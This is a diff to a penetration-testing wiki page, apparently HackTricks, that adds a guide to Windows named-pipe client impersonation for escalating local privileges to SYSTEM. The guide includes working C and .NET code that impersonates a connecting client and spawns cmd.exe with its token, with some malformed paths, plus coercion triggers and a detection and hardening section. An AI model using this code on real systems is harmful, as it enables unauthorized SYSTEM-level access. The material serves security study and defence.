diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md index 9a6c46fe6..2fca84be4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md @@ -2,9 +2,136 @@ {{#include ../../banners/hacktricks-training.md}} -Check: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) +Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM). + +This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below. + +## TL;DR +- Create a named pipe: \\.\pipe\ and wait for a connection. +- Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.). +- Read at least one message from the pipe, then call ImpersonateNamedPipeClient. +- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process. + +## Requirements and key APIs +- Privileges typically needed by the calling process/thread: + - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW. + - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM). +- Core APIs used: + - CreateNamedPipe / ConnectNamedPipe + - ReadFile/WriteFile (must read at least one message before impersonation) + - ImpersonateNamedPipeClient and RevertToSelf + - OpenThreadToken, DuplicateTokenEx(TokenPrimary) + - CreateProcessWithTokenW or CreateProcessAsUser +- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe. + +## Minimal Win32 workflow (C) +```c +// Minimal skeleton (no error handling hardening for brevity) +#include +#include + +int main(void) { + LPCSTR pipe = "\\\\.\\pipe\\evil"; + HANDLE hPipe = CreateNamedPipeA( + pipe, + PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 0, 0, 0, NULL); + + if (hPipe == INVALID_HANDLE_VALUE) return 1; + + // Wait for privileged client to connect (see Triggers section) + if (!ConnectNamedPipe(hPipe, NULL)) return 2; + + // Read at least one message before impersonation + char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL); + + // Impersonate the last message sender + if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368 + + // Extract and duplicate the impersonation token into a primary token + HANDLE impTok = NULL, priTok = NULL; + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4; + if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5; + + // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege. + STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0}; + if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY, + L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, + 0, NULL, NULL, &si, &pi)) { + // Fallback: CreateProcessAsUser after you already impersonated SYSTEM + CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, + NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + } + + RevertToSelf(); // Restore original context + return 0; +} +``` +Notes: +- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level. +- Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation. + +## .NET quick example +In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process. +```csharp +using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; +class P { + [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h); + [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p); + [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi); + static void Main(){ + using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1); + s.WaitForConnection(); + // Ensure client sent something so the token is available + s.RunAsClient(() => { + IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS + IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary + var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe"); + Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi); + }); + } +} +``` + +## Common triggers/coercions to get SYSTEM to your pipe +These techniques coerce privileged services to connect to your named pipe so you can impersonate them: +- Print Spooler RPC trigger (PrintSpoofer) +- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) +- EFSRPC pipes (EfsPotato/SharpEfsPotato) + +See detailed usage and compatibility here: + +- +{{#ref}} +roguepotato-and-printspoofer.md +{{#endref}} +- +{{#ref}} +juicypotato.md +{{#endref}} + +If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: + +- +{{#ref}} +from-high-integrity-to-system-with-name-pipes.md +{{#endref}} + +## Troubleshooting and gotchas +- You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368). +- If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel). +- CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM. +- Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL. + +## Detection and hardening +- Monitor named pipe creation and connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) are useful to baseline legitimate pipe names and catch unusual, random-looking pipes preceding token-manipulation events. +- Look for sequences: process creates a pipe, a SYSTEM service connects, then the creating process spawns a child as SYSTEM. +- Reduce exposure by removing SeImpersonatePrivilege from nonessential service accounts and avoiding unnecessary service logons with high privileges. +- Defensive development: when connecting to untrusted named pipes, specify SECURITY_SQOS_PRESENT with SECURITY_IDENTIFICATION to prevent servers from fully impersonating the client unless necessary. + +## References +- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient +- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} - - -